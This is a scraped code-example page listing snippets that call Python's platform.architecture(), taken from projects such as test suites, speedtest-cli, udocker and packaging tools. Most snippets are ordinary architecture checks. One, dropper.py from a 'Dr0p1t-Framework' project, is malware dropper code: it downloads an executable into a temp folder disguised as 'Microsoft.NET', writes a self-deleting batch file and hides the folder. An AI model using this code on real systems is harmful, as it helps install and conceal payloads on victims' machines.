python类architecture()的实例源码

test_platform.py 文件源码 项目:ouroboros 作者: pybee 项目源码 文件源码 阅读 39 收藏 0 点赞 0 评论 0
def test_uname_win32_ARCHITEW6432(self):
        # Issue 7860: make sure we get architecture from the correct variable
        # on 64 bit Windows: if PROCESSOR_ARCHITEW6432 exists we should be
        # using it, per
        # http://blogs.msdn.com/david.wang/archive/2006/03/26/HOWTO-Detect-Process-Bitness.aspx
        try:
            with support.EnvironmentVarGuard() as environ:
                if 'PROCESSOR_ARCHITEW6432' in environ:
                    del environ['PROCESSOR_ARCHITEW6432']
                environ['PROCESSOR_ARCHITECTURE'] = 'foo'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'foo')
                environ['PROCESSOR_ARCHITEW6432'] = 'bar'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'bar')
        finally:
            platform._uname_cache = None
speedtest_cli.py 文件源码 项目:test-server 作者: xtria 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def build_user_agent():
    """Build a Mozilla/5.0 compatible User-Agent string"""

    global user_agent
    if user_agent:
        return user_agent

    ua_tuple = (
        'Mozilla/5.0',
        '(%s; U; %s; en-us)' % (platform.system(), platform.architecture()[0]),
        'Python/%s' % platform.python_version(),
        '(KHTML, like Gecko)',
        'speedtest-cli/%s' % __version__
    )
    user_agent = ' '.join(ua_tuple)
    return user_agent
test_platform.py 文件源码 项目:ndk-python 作者: gittor 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def test_uname_win32_ARCHITEW6432(self):
        # Issue 7860: make sure we get architecture from the correct variable
        # on 64 bit Windows: if PROCESSOR_ARCHITEW6432 exists we should be
        # using it, per
        # http://blogs.msdn.com/david.wang/archive/2006/03/26/HOWTO-Detect-Process-Bitness.aspx
        try:
            with test_support.EnvironmentVarGuard() as environ:
                if 'PROCESSOR_ARCHITEW6432' in environ:
                    del environ['PROCESSOR_ARCHITEW6432']
                environ['PROCESSOR_ARCHITECTURE'] = 'foo'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'foo')
                environ['PROCESSOR_ARCHITEW6432'] = 'bar'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'bar')
        finally:
            platform._uname_cache = None
senna.py 文件源码 项目:hate-to-hugs 作者: sdoran35 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def executable(self, base_path):
        """
        The function that determines the system specific binary that should be
        used in the pipeline. In case, the system is not known the default senna binary will
        be used.
        """
        os_name = system()
        if os_name == 'Linux':
            bits = architecture()[0]
            if bits == '64bit':
                return path.join(base_path, 'senna-linux64')
            return path.join(base_path, 'senna-linux32')
        if os_name == 'Windows':
            return path.join(base_path, 'senna-win32.exe')
        if os_name == 'Darwin':
            return path.join(base_path, 'senna-osx')
        return path.join(base_path, 'senna')
gnu.py 文件源码 项目:lambda-numba 作者: rlhotovy 项目源码 文件源码 阅读 31 收藏 0 点赞 0 评论 0
def _can_target(cmd, arch):
    """Return true if the architecture supports the -arch flag"""
    newcmd = cmd[:]
    fid, filename = tempfile.mkstemp(suffix=".f")
    try:
        d = os.path.dirname(filename)
        output = os.path.splitext(filename)[0] + ".o"
        try:
            newcmd.extend(["-arch", arch, "-c", filename])
            p = Popen(newcmd, stderr=STDOUT, stdout=PIPE, cwd=d)
            p.communicate()
            return p.returncode == 0
        finally:
            if os.path.exists(output):
                os.remove(output)
    finally:
        os.remove(filename)
    return False
create_helper.py 文件源码 项目:nsf2x 作者: adb014 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def main () :

    if platform.architecture()[0] == "32bit":
        helper = 'helper32'
    else :
        helper = 'helper64'

    py2exe_options = dict(
        packages = [],
        optimize=2,
        compressed=True, # uncompressed may or may not have a faster startup
        bundle_files=3,
        dist_dir=helper,
        )

    setup(console=['eml2pst.py'],
          name = "EML2PST",
          version = "0.1",
          description = "A simple EML to PST conversion utility",
          options={"py2exe": py2exe_options},
        )
L.E.S.M.A. - Fabrica de Noobs Speedtest.py 文件源码 项目:L.E.S.M.A 作者: NatanaelAntonioli 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def build_user_agent():
    """Build a Mozilla/5.0 compatible User-Agent string"""

    global USER_AGENT
    if USER_AGENT:
        return USER_AGENT

    ua_tuple = (
        'Mozilla/5.0',
        '(%s; U; %s; en-us)' % (platform.system(), platform.architecture()[0]),
        'Python/%s' % platform.python_version(),
        '(KHTML, like Gecko)',
        'speedtest-cli/%s' % __version__
    )
    USER_AGENT = ' '.join(ua_tuple)
    printer(USER_AGENT, debug=True)
    return USER_AGENT
udocker.py 文件源码 项目:udocker 作者: indigo-dc 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def arch(self):
        """Get the host system architecture"""
        arch = ""
        try:
            machine = platform.machine()
            bits = platform.architecture()[0]
            if machine == "x86_64":
                if bits == "32bit":
                    arch = "i386"
                else:
                    arch = "amd64"
            elif machine in ("i386", "i486", "i586", "i686"):
                arch = "i386"
            elif machine.startswith("arm"):
                if bits == "32bit":
                    arch = "arm"
                else:
                    arch = "arm64"
        except (NameError, AttributeError):
            pass
        return arch
udocker.py 文件源码 项目:udocker 作者: indigo-dc 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def arch(self):
        """Get guest system architecture"""
        for filename in GuestInfo._binarylist:
            fpath = self._root_dir + filename
            data = self._get_arch(fpath)
            if not data:
                continue
            if "x86-64," in data:
                return "amd64"
            if "80386," in data:
                return "i386"
            if "ARM," in data:
                if "64-bit" in data:
                    return "arm64"
                else:
                    return "arm"
        return ""
detect_host_arch.py 文件源码 项目:buildroot 作者: flutter 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def HostArch():
  """Returns the host architecture with a predictable string."""
  host_arch = platform.machine()

  # Convert machine type to format recognized by gyp.
  if re.match(r'i.86', host_arch) or host_arch == 'i86pc':
    host_arch = 'ia32'
  elif host_arch in ['x86_64', 'amd64']:
    host_arch = 'x64'
  elif host_arch.startswith('arm'):
    host_arch = 'arm'

  # platform.machine is based on running kernel. It's possible to use 64-bit
  # kernel with 32-bit userland, e.g. to give linker slightly more memory.
  # Distinguish between different userland bitness by querying
  # the python binary.
  if host_arch == 'x64' and platform.architecture()[0] == '32bit':
    host_arch = 'ia32'

  return host_arch
gnu.py 文件源码 项目:deliver 作者: orchestor 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def _can_target(cmd, arch):
    """Return true if the architecture supports the -arch flag"""
    newcmd = cmd[:]
    fid, filename = tempfile.mkstemp(suffix=".f")
    os.close(fid)
    try:
        d = os.path.dirname(filename)
        output = os.path.splitext(filename)[0] + ".o"
        try:
            newcmd.extend(["-arch", arch, "-c", filename])
            p = Popen(newcmd, stderr=STDOUT, stdout=PIPE, cwd=d)
            p.communicate()
            return p.returncode == 0
        finally:
            if os.path.exists(output):
                os.remove(output)
    finally:
        os.remove(filename)
    return False
senna.py 文件源码 项目:FancyWord 作者: EastonLee 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def executable(self, base_path):
        """
        The function that determines the system specific binary that should be
        used in the pipeline. In case, the system is not known the default senna binary will
        be used.
        """ 
        os_name = system()
        if os_name == 'Linux':
            bits = architecture()[0]
            if bits == '64bit':
                return path.join(base_path, 'senna-linux64')
            return path.join(base_path, 'senna-linux32')
        if os_name == 'Windows':
            return path.join(base_path, 'senna-win32.exe')
        if os_name == 'Darwin':
            return path.join(base_path, 'senna-osx')
        return path.join(base_path, 'senna')
dropper.py 文件源码 项目:Dr0p1t-Framework 作者: Exploit-install 项目源码 文件源码 阅读 19 收藏 0 点赞 0 评论 0
def fire_things_up(url,arch=False,zip=False):
    global pthhhh
    def work(zip):
        global pthhhh
        pthhhh = get_output("echo %temp%").strip()
        xx  = subprocess.Popen( 'mkdir "Microsoft.NET" >> NUL',shell=True,cwd=pthhhh)
        if not zip:
            x   = urlretrieve(url,pthhhh+"\\Microsoft.NET\\library.exe")
        elif zip:
            x   = urlretrieve(url,pthhhh+"\\Microsoft.NET\\library_data.zip")
            ##~Import-Here~##
            zip=zipfile.ZipFile(pthhhh+"\\Microsoft.NET\\library_data.zip")
            def get_exe_from(zip):
                for i in zip.namelist():
                    if i.endswith(".exe"):
                        return i
            f = open(pthhhh+"\\Microsoft.NET\\library.exe","wb")
            f.write( zip.read( get_exe_from(zip) ) )
            f.close()
            bat_data = '''@echo off\nbreak>library_data.zip\nDEL -f "library_data.zip"\nbreak>"%~f0" && DEL "%~f0" '''
            bat = open(pthhhh+"\\Microsoft.NET\\lolz_service.bat","w");bat.write(bat_data);bat.close()
            xxx = subprocess.Popen( pthhhh+"\\Microsoft.NET\\lolz_service.bat >> NUL",shell=True)

        #xx  = subprocess.Popen( "library.exe >> NUL",shell=True,cwd=pthhhh+"\\Microsoft.NET")
        xxx = subprocess.Popen( 'cd .. && attrib +s +h "Microsoft.NET" >> NUL',shell=True,cwd=pthhhh+"\\Microsoft.NET")
    #check architecture
    if arch:
        if architecture()[0][:2] == arch: work(zip)
    else: work(zip)

#Someshit
get-xivo-packages.py 文件源码 项目:xivo-install-cd 作者: wazo-pbx 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def _get_architecture(self):
        arch = platform.architecture()[0]
        if arch == '64bit':
            architecture = 'amd64'
        elif arch == '32bit':
            architecture = 'i386'
        else:
            raise ('Unknown architecture!')
        return architecture
pkgbuild.py 文件源码 项目:packagecore 作者: BytePackager 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def getName(self):
        return "%s-%s-%d-x86_64.pkg.tar.xz" % \
            (self._data.name, self._sanitizedVersion, self._data.releaseNum)

    ##
    # @brief Get the architecture field for the package name.
    #
    # @return The architecture name (e.g., x86_64).
pkgbuild.py 文件源码 项目:packagecore 作者: BytePackager 项目源码 文件源码 阅读 21 收藏 0 点赞 0 评论 0
def getArch(self):
        bits = platform.architecture()[0]
        # Need to work with arm - ticket #103
        if bits == "64bit":
            return "x86_64"
        else:
            return "i686"
rpm.py 文件源码 项目:packagecore 作者: BytePackager 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def getName(self):
        return "%s-%s-%d.rpm" % (self._data.name, self._sanitizedVersion,
                                 self._data.releaseNum)

    ##
    # @brief Get the architecture field for the package name.
    #
    # @return The architecture name (e.g., x86_64).
rpm.py 文件源码 项目:packagecore 作者: BytePackager 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def getArch(self):
        bits = platform.architecture()[0]
        # need to add arm support -- ticket #103
        if bits == "64bit":
            return "x86_64"
        else:
            return "i686"


问题


面经


文章

微信
公众号

扫码关注公众号